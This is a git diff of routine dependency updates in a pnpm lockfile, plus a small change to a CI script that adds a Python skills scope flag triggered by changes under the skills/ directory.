@@ snapshots: obug: 2.1.1 std-env: 3.10.0 tinyrainbow: 3.0.3 - vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) optionalDependencies: - '@vitest/browser': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) + '@vitest/browser': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) '@vitest/expect@4.0.18': dependencies: @@ -9301,13 +10449,13 @@ snapshots: chai: 6.2.2 tinyrainbow: 3.0.3 - '@vitest/mocker@4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))': + '@vitest/mocker@4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))': dependencies: '@vitest/spy': 4.0.18 estree-walker: 3.0.3 magic-string: 0.30.21 optionalDependencies: - vite: 7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vite: 7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) '@vitest/pretty-format@4.0.18': dependencies: @@ -9400,6 +10548,8 @@ snapshots: dependencies: acorn: 8.16.0 + acorn@7.4.1: {} + acorn@8.16.0: {} acpx@0.1.15(zod@4.3.6): @@ -9481,17 +10631,21 @@ snapshots: array-flatten@1.1.1: {} + asap@2.0.6: {} + asn1@0.2.6: dependencies: safer-buffer: 2.1.2 + assert-never@1.4.0: {} + assert-plus@1.0.0: {} assertion-error@2.0.1: {} ast-kit@3.0.0-beta.1: dependencies: - '@babel/parser': 8.0.0-rc.1 + '@babel/parser': 8.0.0-rc.2 estree-walker: 3.0.3 pathe: 2.0.3 @@ -9551,6 +10705,12 @@ snapshots: b4a@1.8.0: {} + babel-walk@3.0.0-canary-5: + dependencies: + '@babel/types': 7.29.0 + + badgen@3.2.3: {} + balanced-match@4.0.4: {} bare-events@2.8.2: {} @@ -9575,6 +10735,11 @@ snapshots: birpc@4.0.0: {} + blamer@1.0.7: + dependencies: + execa: 4.1.0 + which: 2.0.2 + bluebird@3.7.2: {} body-parser@1.20.4: @@ -9618,7 +10783,9 @@ snapshots: dependencies: balanced-match: 4.0.4 - browser-or-node@1.3.0: {} + braces@3.0.3: + dependencies: + fill-range: 7.1.1 browser-or-node@3.0.0: {} @@ -9635,12 +10802,12 @@ snapshots: bun-types@1.3.9: dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 optional: true bytes@3.1.2: {} - cac@6.7.14: {} + cac@7.0.0: {} cacheable@2.3.2: dependencies: @@ -9681,6 +10848,10 @@ snapshots: character-entities-legacy@3.0.0: {} + character-parser@2.2.0: + dependencies: + is-regex: 1.2.1 + chmodrp@1.0.2: {} chokidar@5.0.0: @@ -9710,6 +10881,12 @@ snapshots: cli-spinners@3.4.0: {} + cli-table3@0.6.5: + dependencies: + string-width: 4.2.3 + optionalDependencies: + '@colors/colors': 1.5.0 + cliui@7.0.4: dependencies: string-width: 4.2.3 @@ -9748,6 +10925,8 @@ snapshots: color-support@1.1.3: optional: true + colors@1.4.0: {} + combined-stream@1.0.8: dependencies: delayed-stream: 1.0.0 @@ -9774,9 +10953,16 @@ snapshots: commander@14.0.3: {} + commander@5.1.0: {} + console-control-strings@1.1.0: optional: true + constantinople@4.0.1: + dependencies: + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + content-disposition@0.5.4: dependencies: safe-buffer: 5.2.1 @@ -9791,8 +10977,6 @@ snapshots: cookie@0.7.2: {} - core-js@3.48.0: {} - core-util-is@1.0.2: {} core-util-is@1.0.3: {} @@ -9874,6 +11058,10 @@ snapshots: discord-api-types@0.38.40: {} + discord-api-types@0.38.41: {} + + doctypes@1.1.0: {} + dom-serializer@2.0.0: dependencies: domelementtype: 2.3.0 @@ -10023,6 +11211,18 @@ snapshots: transitivePeerDependencies: - bare-abort-controller + execa@4.1.0: + dependencies: + cross-spawn: 7.0.6 + get-stream: 5.2.0 + human-signals: 1.1.1 + is-stream: 2.0.1 + merge-stream: 2.0.0 + npm-run-path: 4.0.1 + onetime: 5.1.2 + signal-exit: 3.0.7 + strip-final-newline: 2.0.0 + expect-type@1.3.0: {} exponential-backoff@3.1.3: {} @@ -10116,12 +11316,24 @@ snapshots: fast-fifo@1.3.2: {} + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + fast-uri@3.1.0: {} fast-xml-parser@5.3.8: dependencies: strnum: 2.2.0 + fastq@1.20.1: + dependencies: + reusify: 1.1.0 + fd-slicer@1.1.0: dependencies: pend: 1.2.0 @@ -10150,6 +11362,10 @@ snapshots: dependencies: filename-reserved-regex: 3.0.0 + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + finalhandler@1.3.2: dependencies: debug: 2.6.9 @@ -10296,6 +11512,12 @@ snapshots: dependencies: assert-plus: 1.0.0 + gitignore-to-glob@0.3.0: {} + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + glob-to-regexp@0.4.1: {} glob@10.5.0: @@ -10350,6 +11572,16 @@ snapshots: - encoding - supports-color + grammy@1.41.1: + dependencies: + '@grammyjs/types': 3.25.0 + abort-controller: 3.0.0 + debug: 4.4.3 + node-fetch: 2.7.0 + transitivePeerDependencies: + - encoding + - supports-color + has-flag@4.0.0: {} has-own@1.0.1: {} @@ -10473,6 +11705,8 @@ snapshots: transitivePeerDependencies: - supports-color + human-signals@1.1.1: {} + iconv-lite@0.4.24: dependencies: safer-buffer: 2.1.2 @@ -10487,7 +11721,7 @@ snapshots: immediate@3.0.6: {} - import-in-the-middle@2.0.6: + import-in-the-middle@3.0.0: dependencies: acorn: 8.16.0 acorn-import-attributes: 1.9.5(acorn@8.16.0) @@ -10549,22 +11783,46 @@ snapshots: - bufferutil - utf-8-validate + is-core-module@2.16.1: + dependencies: + hasown: 2.0.2 + is-electron@2.2.2: {} + is-expression@4.0.0: + dependencies: + acorn: 7.4.1 + object-assign: 4.1.1 + + is-extglob@2.1.1: {} + is-fullwidth-code-point@3.0.0: {} is-fullwidth-code-point@5.1.0: dependencies: get-east-asian-width: 1.5.0 + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + is-interactive@2.0.0: {} + is-number@7.0.0: {} + is-plain-object@5.0.0: {} is-promise@2.2.2: {} is-promise@4.0.0: {} + is-regex@1.2.1: + dependencies: + call-bound: 1.0.4 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + is-stream@2.0.1: {} is-typedarray@1.0.0: {} @@ -10602,10 +11860,31 @@ snapshots: jose@4.15.9: {} + js-stringify@1.0.2: {} + js-tokens@10.0.0: {} jsbn@0.1.1: {} + jscpd-sarif-reporter@4.0.6: + dependencies: + colors: 1.4.0 + fs-extra: 11.3.3 + node-sarif-builder: 3.4.0 + + jscpd@4.0.8: + dependencies: + '@jscpd/badge-reporter': 4.0.4 + '@jscpd/core': 4.0.4 + '@jscpd/finder': 4.0.4 + '@jscpd/html-reporter': 4.0.4 + '@jscpd/tokenizer': 4.0.4 + colors: 1.4.0 + commander: 5.1.0 + fs-extra: 11.3.3 + gitignore-to-glob: 0.3.0 + jscpd-sarif-reporter: 4.0.6 + jsesc@3.1.0: {} json-bigint@1.0.0: @@ -10655,6 +11934,11 @@ snapshots: json-schema: 0.4.0 verror: 1.10.0 + jstransformer@1.0.0: + dependencies: + is-promise: 2.2.2 + promise: 7.3.1 + jszip@3.10.1: dependencies: lie: 3.3.0 @@ -10877,9 +12161,13 @@ snapshots: punycode.js: 2.3.1 uc.micro: 2.1.0 + markdown-table@2.0.0: + dependencies: + repeat-string: 1.6.1 + marked@15.0.12: {} - marked@17.0.3: {} + marked@17.0.4: {} math-intrinsics@1.1.0: {} @@ -10905,6 +12193,10 @@ snapshots: merge-descriptors@2.0.0: {} + merge-stream@2.0.0: {} + + merge2@1.4.1: {} + methods@1.1.2: {} micromark-util-character@2.1.1: @@ -10924,6 +12216,11 @@ snapshots: micromark-util-types@2.0.2: {} + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.1 + mime-db@1.52.0: {} mime-db@1.54.0: {} @@ -10938,6 +12235,8 @@ snapshots: mime@1.6.0: {} + mimic-fn@2.1.0: {} + mimic-function@5.0.1: {} minimalistic-assert@1.0.1: {} @@ -11088,6 +12387,11 @@ snapshots: node-readable-to-web-readable-stream@0.4.2: optional: true + node-sarif-builder@3.4.0: + dependencies: + '@types/sarif': 2.1.7 + fs-extra: 11.3.3 + node-wav@0.0.2: optional: true @@ -11110,6 +12414,10 @@ snapshots: nostr-wasm@0.1.0: {} + npm-run-path@4.0.1: + dependencies: + path-key: 3.1.1 + npmlog@5.0.1: dependencies: are-we-there-yet: 2.0.0 @@ -11168,6 +12476,10 @@ snapshots: dependencies: wrappy: 1.0.2 + onetime@5.1.2: + dependencies: + mimic-fn: 2.1.0 + onetime@7.0.0: dependencies: mimic-function: 5.0.1 @@ -11185,7 +12497,7 @@ snapshots: ws: 8.19.0 zod: 4.3.6 - openai@6.25.0(ws@8.19.0)(zod@4.3.6): + openai@6.27.0(ws@8.19.0)(zod@4.3.6): optionalDependencies: ws: 8.19.0 zod: 4.3.6 @@ -11291,61 +12603,61 @@ snapshots: osc-progress@0.3.0: {} - oxfmt@0.35.0: + oxfmt@0.36.0: dependencies: tinypool: 2.1.0 optionalDependencies: - '@oxfmt/binding-android-arm-eabi': 0.35.0 - '@oxfmt/binding-android-arm64': 0.35.0 - '@oxfmt/binding-darwin-arm64': 0.35.0 - '@oxfmt/binding-darwin-x64': 0.35.0 - '@oxfmt/binding-freebsd-x64': 0.35.0 - '@oxfmt/binding-linux-arm-gnueabihf': 0.35.0 - '@oxfmt/binding-linux-arm-musleabihf': 0.35.0 - '@oxfmt/binding-linux-arm64-gnu': 0.35.0 - '@oxfmt/binding-linux-arm64-musl': 0.35.0 - '@oxfmt/binding-linux-ppc64-gnu': 0.35.0 - '@oxfmt/binding-linux-riscv64-gnu': 0.35.0 - '@oxfmt/binding-linux-riscv64-musl': 0.35.0 - '@oxfmt/binding-linux-s390x-gnu': 0.35.0 - '@oxfmt/binding-linux-x64-gnu': 0.35.0 - '@oxfmt/binding-linux-x64-musl': 0.35.0 - '@oxfmt/binding-openharmony-arm64': 0.35.0 - '@oxfmt/binding-win32-arm64-msvc': 0.35.0 - '@oxfmt/binding-win32-ia32-msvc': 0.35.0 - '@oxfmt/binding-win32-x64-msvc': 0.35.0 + '@oxfmt/binding-android-arm-eabi': 0.36.0 + '@oxfmt/binding-android-arm64': 0.36.0 + '@oxfmt/binding-darwin-arm64': 0.36.0 + '@oxfmt/binding-darwin-x64': 0.36.0 + '@oxfmt/binding-freebsd-x64': 0.36.0 + '@oxfmt/binding-linux-arm-gnueabihf': 0.36.0 + '@oxfmt/binding-linux-arm-musleabihf': 0.36.0 + '@oxfmt/binding-linux-arm64-gnu': 0.36.0 + '@oxfmt/binding-linux-arm64-musl': 0.36.0 + '@oxfmt/binding-linux-ppc64-gnu': 0.36.0 + '@oxfmt/binding-linux-riscv64-gnu': 0.36.0 + '@oxfmt/binding-linux-riscv64-musl': 0.36.0 + '@oxfmt/binding-linux-s390x-gnu': 0.36.0 + '@oxfmt/binding-linux-x64-gnu': 0.36.0 + '@oxfmt/binding-linux-x64-musl': 0.36.0 + '@oxfmt/binding-openharmony-arm64': 0.36.0 + '@oxfmt/binding-win32-arm64-msvc': 0.36.0 + '@oxfmt/binding-win32-ia32-msvc': 0.36.0 + '@oxfmt/binding-win32-x64-msvc': 0.36.0 - oxlint-tsgolint@0.15.0: + oxlint-tsgolint@0.16.0: optionalDependencies: - '@oxlint-tsgolint/darwin-arm64': 0.15.0 - '@oxlint-tsgolint/darwin-x64': 0.15.0 - '@oxlint-tsgolint/linux-arm64': 0.15.0 - '@oxlint-tsgolint/linux-x64': 0.15.0 - '@oxlint-tsgolint/win32-arm64': 0.15.0 - '@oxlint-tsgolint/win32-x64': 0.15.0 + '@oxlint-tsgolint/darwin-arm64': 0.16.0 + '@oxlint-tsgolint/darwin-x64': 0.16.0 + '@oxlint-tsgolint/linux-arm64': 0.16.0 + '@oxlint-tsgolint/linux-x64': 0.16.0 + '@oxlint-tsgolint/win32-arm64': 0.16.0 + '@oxlint-tsgolint/win32-x64': 0.16.0 - oxlint@1.50.0(oxlint-tsgolint@0.15.0): + oxlint@1.51.0(oxlint-tsgolint@0.16.0): optionalDependencies: - '@oxlint/binding-android-arm-eabi': 1.50.0 - '@oxlint/binding-android-arm64': 1.50.0 - '@oxlint/binding-darwin-arm64': 1.50.0 - '@oxlint/binding-darwin-x64': 1.50.0 - '@oxlint/binding-freebsd-x64': 1.50.0 - '@oxlint/binding-linux-arm-gnueabihf': 1.50.0 - '@oxlint/binding-linux-arm-musleabihf': 1.50.0 - '@oxlint/binding-linux-arm64-gnu': 1.50.0 - '@oxlint/binding-linux-arm64-musl': 1.50.0 - '@oxlint/binding-linux-ppc64-gnu': 1.50.0 - '@oxlint/binding-linux-riscv64-gnu': 1.50.0 - '@oxlint/binding-linux-riscv64-musl': 1.50.0 - '@oxlint/binding-linux-s390x-gnu': 1.50.0 - '@oxlint/binding-linux-x64-gnu': 1.50.0 - '@oxlint/binding-linux-x64-musl': 1.50.0 - '@oxlint/binding-openharmony-arm64': 1.50.0 - '@oxlint/binding-win32-arm64-msvc': 1.50.0 - '@oxlint/binding-win32-ia32-msvc': 1.50.0 - '@oxlint/binding-win32-x64-msvc': 1.50.0 - oxlint-tsgolint: 0.15.0 + '@oxlint/binding-android-arm-eabi': 1.51.0 + '@oxlint/binding-android-arm64': 1.51.0 + '@oxlint/binding-darwin-arm64': 1.51.0 + '@oxlint/binding-darwin-x64': 1.51.0 + '@oxlint/binding-freebsd-x64': 1.51.0 + '@oxlint/binding-linux-arm-gnueabihf': 1.51.0 + '@oxlint/binding-linux-arm-musleabihf': 1.51.0 + '@oxlint/binding-linux-arm64-gnu': 1.51.0 + '@oxlint/binding-linux-arm64-musl': 1.51.0 + '@oxlint/binding-linux-ppc64-gnu': 1.51.0 + '@oxlint/binding-linux-riscv64-gnu': 1.51.0 + '@oxlint/binding-linux-riscv64-musl': 1.51.0 + '@oxlint/binding-linux-s390x-gnu': 1.51.0 + '@oxlint/binding-linux-x64-gnu': 1.51.0 + '@oxlint/binding-linux-x64-musl': 1.51.0 + '@oxlint/binding-openharmony-arm64': 1.51.0 + '@oxlint/binding-win32-arm64-msvc': 1.51.0 + '@oxlint/binding-win32-ia32-msvc': 1.51.0 + '@oxlint/binding-win32-x64-msvc': 1.51.0 + oxlint-tsgolint: 0.16.0 p-finally@1.0.0: {} @@ -11422,6 +12734,8 @@ snapshots: path-key@3.1.1: {} + path-parse@1.0.7: {} + path-scurry@1.11.1: dependencies: lru-cache: 10.4.3 @@ -11451,6 +12765,8 @@ snapshots: picocolors@1.1.1: {} + picomatch@2.3.1: {} + picomatch@4.0.3: {} pify@3.0.0: {} @@ -11516,6 +12832,10 @@ snapshots: process-warning@5.0.0: {} + promise@7.3.1: + dependencies: + asap: 2.0.6 + proper-lockfile@4.1.2: dependencies: graceful-fs: 4.2.11 @@ -11552,22 +12872,7 @@ snapshots: '@protobufjs/path': 1.1.2 '@protobufjs/pool': 1.1.0 '@protobufjs/utf8': 1.1.0 - '@types/node': 25.3.3 - long: 5.3.2 - - protobufjs@8.0.0: - dependencies: - '@protobufjs/aspromise': 1.1.2 - '@protobufjs/base64': 1.1.2 - '@protobufjs/codegen': 2.0.4 - '@protobufjs/eventemitter': 1.1.0 - '@protobufjs/fetch': 1.1.0 - '@protobufjs/float': 1.0.2 - '@protobufjs/inquire': 1.1.0 - '@protobufjs/path': 1.1.2 - '@protobufjs/pool': 1.1.0 - '@protobufjs/utf8': 1.1.0 - '@types/node': 25.3.3 + '@types/node': 25.3.5 long: 5.3.2 proxy-addr@2.0.7: @@ -11594,6 +12899,73 @@ snapshots: dependencies: punycode: 2.3.1 + pug-attrs@3.0.0: + dependencies: + constantinople: 4.0.1 + js-stringify: 1.0.2 + pug-runtime: 3.0.1 + + pug-code-gen@3.0.3: + dependencies: + constantinople: 4.0.1 + doctypes: 1.1.0 + js-stringify: 1.0.2 + pug-attrs: 3.0.0 + pug-error: 2.1.0 + pug-runtime: 3.0.1 + void-elements: 3.1.0 + with: 7.0.2 + + pug-error@2.1.0: {} + + pug-filters@4.0.0: + dependencies: + constantinople: 4.0.1 + jstransformer: 1.0.0 + pug-error: 2.1.0 + pug-walk: 2.0.0 + resolve: 1.22.11 + + pug-lexer@5.0.1: + dependencies: + character-parser: 2.2.0 + is-expression: 4.0.0 + pug-error: 2.1.0 + + pug-linker@4.0.0: + dependencies: + pug-error: 2.1.0 + pug-walk: 2.0.0 + + pug-load@3.0.0: + dependencies: + object-assign: 4.1.1 + pug-walk: 2.0.0 + + pug-parser@6.0.0: + dependencies: + pug-error: 2.1.0 + token-stream: 1.0.0 + + pug-runtime@3.0.1: {} + + pug-strip-comments@2.0.0: + dependencies: + pug-error: 2.1.0 + + pug-walk@2.0.0: {} + + pug@3.0.3: + dependencies: + pug-code-gen: 3.0.3 + pug-filters: 4.0.0 + pug-lexer: 5.0.1 + pug-linker: 4.0.0 + pug-load: 3.0.0 + pug-parser: 6.0.0 + pug-runtime: 3.0.1 + pug-strip-comments: 2.0.0 + pump@3.0.4: dependencies: end-of-stream: 1.4.5 @@ -11622,6 +12994,8 @@ snapshots: querystringify@2.2.0: {} + queue-microtask@1.2.3: {} + quick-format-unescaped@4.0.4: {} range-parser@1.2.1: {} @@ -11687,6 +13061,10 @@ snapshots: dependencies: regex-utilities: 2.3.0 + repeat-string@1.6.1: {} + + reprism@0.0.11: {} + request-promise-core@1.1.3(@cypress/request@3.0.10): dependencies: lodash: 4.17.23 @@ -11707,6 +13085,12 @@ snapshots: resolve-pkg-maps@1.0.0: {} + resolve@1.22.11: + dependencies: + is-core-module: 2.16.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + restore-cursor@5.1.0: dependencies: onetime: 7.0.0 @@ -11716,6 +13100,8 @@ snapshots: retry@0.13.1: {} + reusify@1.1.0: {} + rimraf@3.0.2: dependencies: glob: 7.2.3 @@ -11725,42 +13111,44 @@ snapshots: dependencies: glob: 10.5.0 - rolldown-plugin-dts@0.22.2(@typescript/native-preview@7.0.0-dev.20260301.1)(rolldown@1.0.0-rc.5)(typescript@5.9.3): + rolldown-plugin-dts@0.22.4(@typescript/native-preview@7.0.0-dev.20260307.1)(rolldown@1.0.0-rc.7)(typescript@5.9.3): dependencies: - '@babel/generator': 8.0.0-rc.1 - '@babel/helper-validator-identifier': 8.0.0-rc.1 - '@babel/parser': 8.0.0-rc.1 - '@babel/types': 8.0.0-rc.1 + '@babel/generator': 8.0.0-rc.2 + '@babel/helper-validator-identifier': 8.0.0-rc.2 + '@babel/parser': 8.0.0-rc.2 + '@babel/types': 8.0.0-rc.2 ast-kit: 3.0.0-beta.1 birpc: 4.0.0 dts-resolver: 2.1.3 get-tsconfig: 4.13.6 obug: 2.1.1 - rolldown: 1.0.0-rc.5 + rolldown: 1.0.0-rc.7 optionalDependencies: - '@typescript/native-preview': 7.0.0-dev.20260301.1 + '@typescript/native-preview': 7.0.0-dev.20260307.1 typescript: 5.9.3 transitivePeerDependencies: - oxc-resolver - rolldown@1.0.0-rc.5: + rolldown@1.0.0-rc.7: dependencies: - '@oxc-project/types': 0.114.0 - '@rolldown/pluginutils': 1.0.0-rc.5 + '@oxc-project/types': 0.115.0 + '@rolldown/pluginutils': 1.0.0-rc.7 optionalDependencies: - '@rolldown/binding-android-arm64': 1.0.0-rc.5 - '@rolldown/binding-darwin-arm64': 1.0.0-rc.5 - '@rolldown/binding-darwin-x64': 1.0.0-rc.5 - '@rolldown/binding-freebsd-x64': 1.0.0-rc.5 - '@rolldown/binding-linux-arm-gnueabihf': 1.0.0-rc.5 - '@rolldown/binding-linux-arm64-gnu': 1.0.0-rc.5 - '@rolldown/binding-linux-arm64-musl': 1.0.0-rc.5 - '@rolldown/binding-linux-x64-gnu': 1.0.0-rc.5 - '@rolldown/binding-linux-x64-musl': 1.0.0-rc.5 - '@rolldown/binding-openharmony-arm64': 1.0.0-rc.5 - '@rolldown/binding-wasm32-wasi': 1.0.0-rc.5 - '@rolldown/binding-win32-arm64-msvc': 1.0.0-rc.5 - '@rolldown/binding-win32-x64-msvc': 1.0.0-rc.5 + '@rolldown/binding-android-arm64': 1.0.0-rc.7 + '@rolldown/binding-darwin-arm64': 1.0.0-rc.7 + '@rolldown/binding-darwin-x64': 1.0.0-rc.7 + '@rolldown/binding-freebsd-x64': 1.0.0-rc.7 + '@rolldown/binding-linux-arm-gnueabihf': 1.0.0-rc.7 + '@rolldown/binding-linux-arm64-gnu': 1.0.0-rc.7 + '@rolldown/binding-linux-arm64-musl': 1.0.0-rc.7 + '@rolldown/binding-linux-ppc64-gnu': 1.0.0-rc.7 + '@rolldown/binding-linux-s390x-gnu': 1.0.0-rc.7 + '@rolldown/binding-linux-x64-gnu': 1.0.0-rc.7 + '@rolldown/binding-linux-x64-musl': 1.0.0-rc.7 + '@rolldown/binding-openharmony-arm64': 1.0.0-rc.7 + '@rolldown/binding-wasm32-wasi': 1.0.0-rc.7 + '@rolldown/binding-win32-arm64-msvc': 1.0.0-rc.7 + '@rolldown/binding-win32-x64-msvc': 1.0.0-rc.7 rollup@4.59.0: dependencies: @@ -11803,6 +13191,10 @@ snapshots: transitivePeerDependencies: - supports-color + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + safe-buffer@5.1.2: {} safe-buffer@5.2.1: {} @@ -11999,7 +13391,7 @@ snapshots: skillflag@0.1.4: dependencies: - '@clack/prompts': 1.0.1 + '@clack/prompts': 1.1.0 tar-stream: 3.1.7 transitivePeerDependencies: - bare-abort-controller @@ -12165,6 +13557,8 @@ snapshots: dependencies: ansi-regex: 6.2.2 + strip-final-newline@2.0.0: {} + strip-json-comments@2.0.1: {} strnum@2.2.0: {} @@ -12177,6 +13571,8 @@ snapshots: dependencies: has-flag: 4.0.0 + supports-preserve-symlinks-flag@1.0.0: {} + table-layout@4.1.1: dependencies: array-back: 6.2.2 @@ -12230,10 +13626,16 @@ snapshots: tinyrainbow@3.0.3: {} + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + toad-cache@3.7.0: {} toidentifier@1.0.1: {} + token-stream@1.0.0: {} + token-types@6.1.2: dependencies: '@borewit/text-codec': 0.2.1 @@ -12257,24 +13659,24 @@ snapshots: ts-algebra@2.0.0: {} - tsdown@0.21.0-beta.2(@typescript/native-preview@7.0.0-dev.20260301.1)(typescript@5.9.3): + tsdown@0.21.0(@typescript/native-preview@7.0.0-dev.20260307.1)(typescript@5.9.3): dependencies: ansis: 4.2.0 - cac: 6.7.14 + cac: 7.0.0 defu: 6.1.4 empathic: 2.0.0 hookable: 6.0.1 import-without-cache: 0.2.5 obug: 2.1.1 picomatch: 4.0.3 - rolldown: 1.0.0-rc.5 - rolldown-plugin-dts: 0.22.2(@typescript/native-preview@7.0.0-dev.20260301.1)(rolldown@1.0.0-rc.5)(typescript@5.9.3) + rolldown: 1.0.0-rc.7 + rolldown-plugin-dts: 0.22.4(@typescript/native-preview@7.0.0-dev.20260307.1)(rolldown@1.0.0-rc.7)(typescript@5.9.3) semver: 7.7.4 tinyexec: 1.0.2 tinyglobby: 0.2.15 tree-kill: 1.2.2 unconfig-core: 7.5.0 - unrun: 0.2.28 + unrun: 0.2.30 optionalDependencies: typescript: 5.9.3 transitivePeerDependencies: @@ -12372,9 +13774,9 @@ snapshots: unpipe@1.0.0: {} - unrun@0.2.28: + unrun@0.2.30: dependencies: - rolldown: 1.0.0-rc.5 + rolldown: 1.0.0-rc.7 url-join@4.0.1: {} @@ -12413,7 +13815,7 @@ snapshots: '@types/unist': 3.0.3 vfile-message: 4.0.3 - vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2): + vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2): dependencies: esbuild: 0.27.3 fdir: 6.5.0(picomatch@4.0.3) @@ -12422,17 +13824,17 @@ snapshots: rollup: 4.59.0 tinyglobby: 0.2.15 optionalDependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 fsevents: 2.3.3 jiti: 2.6.1 lightningcss: 1.30.2 tsx: 4.21.0 yaml: 2.8.2 - vitest@4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2): + vitest@4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2): dependencies: '@vitest/expect': 4.0.18 - '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) + '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) '@vitest/pretty-format': 4.0.18 '@vitest/runner': 4.0.18 '@vitest/snapshot': 4.0.18 @@ -12449,12 +13851,12 @@ snapshots: tinyexec: 1.0.2 tinyglobby: 0.2.15 tinyrainbow: 3.0.3 - vite: 7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vite: 7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) why-is-node-running: 2.3.0 optionalDependencies: '@opentelemetry/api': 1.9.0 - '@types/node': 25.3.3 - '@vitest/browser-playwright': 4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) + '@types/node': 25.3.5 + '@vitest/browser-playwright': 4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) transitivePeerDependencies: - jiti - less @@ -12468,6 +13870,8 @@ snapshots: - tsx - yaml + void-elements@3.1.0: {} + web-streams-polyfill@3.3.3: {} webidl-conversions@3.0.1: {} @@ -12497,6 +13901,13 @@ snapshots: win-guid@0.2.1: {} + with@7.0.2: + dependencies: + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + assert-never: 1.4.0 + babel-walk: 3.0.0-canary-5 + wordwrapjs@5.1.1: {} wrap-ansi@7.0.0: diff --git a/scripts/ci-changed-scope.mjs b/scripts/ci-changed-scope.mjs index ee9e66421d6..a4018b30a2c 100644 --- a/scripts/ci-changed-scope.mjs +++ b/scripts/ci-changed-scope.mjs @@ -1,9 +1,10 @@ import { execFileSync } from "node:child_process"; import { appendFileSync } from "node:fs"; -/** @typedef {{ runNode: boolean; runMacos: boolean; runAndroid: boolean; runWindows: boolean }} ChangedScope */ +/** @typedef {{ runNode: boolean; runMacos: boolean; runAndroid: boolean; runWindows: boolean; runSkillsPython: boolean }} ChangedScope */ const DOCS_PATH_RE = /^(docs\/|.*\.mdx?$)/; +const SKILLS_PYTHON_SCOPE_RE = /^skills\//; const MACOS_PROTOCOL_GEN_RE = /^(apps\/macos\/Sources\/OpenClawProtocol\/|apps\/shared\/OpenClawKit\/Sources\/OpenClawProtocol\/)/; const MACOS_NATIVE_RE = /^(apps\/macos\/|apps\/ios\/|apps\/shared\/|Swabble\/)/; @@ -21,13 +22,20 @@ const NATIVE_ONLY_RE = */ export function detectChangedScope(changedPaths) { if (!Array.isArray(changedPaths) || changedPaths.length === 0) { - return { runNode: true, runMacos: true, runAndroid: true, runWindows: true }; + return { + runNode: true, + runMacos: true, + runAndroid: true, + runWindows: true, + runSkillsPython: true, + }; } let runNode = false; let runMacos = false; let runAndroid = false; let runWindows = false; + let runSkillsPython = false; let hasNonDocs = false; let hasNonNativeNonDocs = false; @@ -43,6 +51,10 @@ export function detectChangedScope(changedPaths) { hasNonDocs = true; + if (SKILLS_PYTHON_SCOPE_RE.test(path)) { + runSkillsPython = true; + } + if (!MACOS_PROTOCOL_GEN_RE.test(path) && MACOS_NATIVE_RE.test(path)) { runMacos = true; } @@ -68,7 +80,7 @@ export function detectChangedScope(changedPaths) { runNode = true; } - return { runNode, runMacos, runAndroid, runWindows }; + return { runNode, runMacos, runAndroid, runWindows, runSkillsPython }; } /** @@ -102,6 +114,7 @@ export function writeGitHubOutput(scope, outputPath = process.env.GITHUB_OUTPUT) appendFileSync(outputPath, `run_macos=${scope.runMacos}\n`, "utf8"); appendFileSync(outputPath, 